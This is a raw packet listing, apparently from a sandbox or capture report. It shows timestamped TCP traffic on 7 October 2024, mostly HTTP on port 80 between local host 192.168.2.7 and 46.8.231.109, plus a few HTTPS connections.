Oct 7, 2024 18:43:19.824673891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824683905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824685097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824685097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824696064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824706078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824713945 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824737072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824738026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824749947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824759960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824759960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824770927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824783087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824789047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824794054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824805975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824815989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824826956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824826956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824879885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824975014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824985027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824995995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825041056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825041056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825114965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825129032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825139046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825150013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825187922 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825187922 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825378895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825390100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825400114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825459003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825459003 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825459003 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825470924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825481892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825491905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825505018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825515985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825529099 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825529099 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825531960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825540066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825572014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825582027 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825582981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825582027 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825594902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825604916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825611115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825650930 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825650930 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825835943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825846910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825858116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825867891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825877905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825886965 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825890064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.825948000 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825948000 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.825967073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826054096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826061964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826064110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826167107 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826186895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826196909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826208115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826216936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826227903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826237917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826246023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826246023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826250076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826287031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826287031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826406002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826416969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826426029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826436996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826446056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826455116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826455116 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826476097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826477051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826488972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826498985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826509953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826519966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826529980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826534033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826534033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826575041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826575041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826750040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826760054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826771021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826781034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826793909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826803923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826819897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.826822042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826822042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826838970 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.826874018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.897299051 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.897331953 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.925723076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925740957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925757885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925769091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925780058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925790071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925800085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925811052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925821066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925831079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925841093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925851107 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.925852060 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.925857067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925869942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925879955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925889015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.925889015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.925899029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925909996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925921917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925931931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925961971 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.925961971 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.925978899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.925980091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.925991058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926002979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926012993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926023960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926033974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926043987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926048040 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926048994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926055908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926069021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926093102 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926093102 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926132917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926310062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926357985 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926414967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926425934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926436901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926448107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926469088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926485062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926487923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926487923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926501036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.926527023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.926542997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927474976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927486897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927496910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927506924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927517891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927539110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927556038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927556038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927588940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927608967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927619934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927632093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927643061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927653074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927660942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927665949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927678108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927704096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927704096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927726030 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927752972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927763939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927772045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927784920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927794933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927803993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927804947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927817106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927828074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927838087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927839994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927839994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927860975 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927882910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927884102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927896023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927906990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927917004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927928925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.927947998 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927968979 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.927982092 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.928450108 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 18:43:20.031419992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.036868095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230529070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230545998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230556965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230568886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230581045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230676889 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.230676889 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.230690002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230704069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230714083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230725050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230736017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230746031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230757952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230772018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.230772018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.230844975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230856895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230859041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.230870008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.230902910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.230902910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.231095076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.231112957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.231125116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.231174946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.231174946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.231230974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.231244087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.231252909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.231266022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.231277943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.231292009 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.231308937 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.231328011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.311671972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.311686039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.311697006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.311810017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.311821938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.311831951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.311841965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.311852932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.311852932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.311852932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.311908960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.311908960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312262058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312273979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312283993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312294006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312304020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312314034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312324047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312334061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312344074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312350035 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312350035 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312376976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312376976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312381029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312397003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312407017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312422991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312433958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312443018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312449932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312449932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312453985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312472105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312499046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312506914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312506914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312510967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312522888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312529087 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312591076 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.312691927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312704086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.312758923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313049078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313055038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313061953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313069105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313075066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313081026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313086033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313092947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313111067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313142061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313142061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313153028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313163996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313174963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313185930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313195944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313266993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313266993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313281059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313292980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313308001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313318968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313328981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313339949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313350916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313359976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313359976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313394070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313394070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313402891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313414097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313425064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.313457966 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.313478947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.392790079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.392803907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.392817020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.392827034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.392836094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.392844915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393037081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393038034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393038034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393047094 CEST	80	49699	46.8.231.109	192.168.2.7
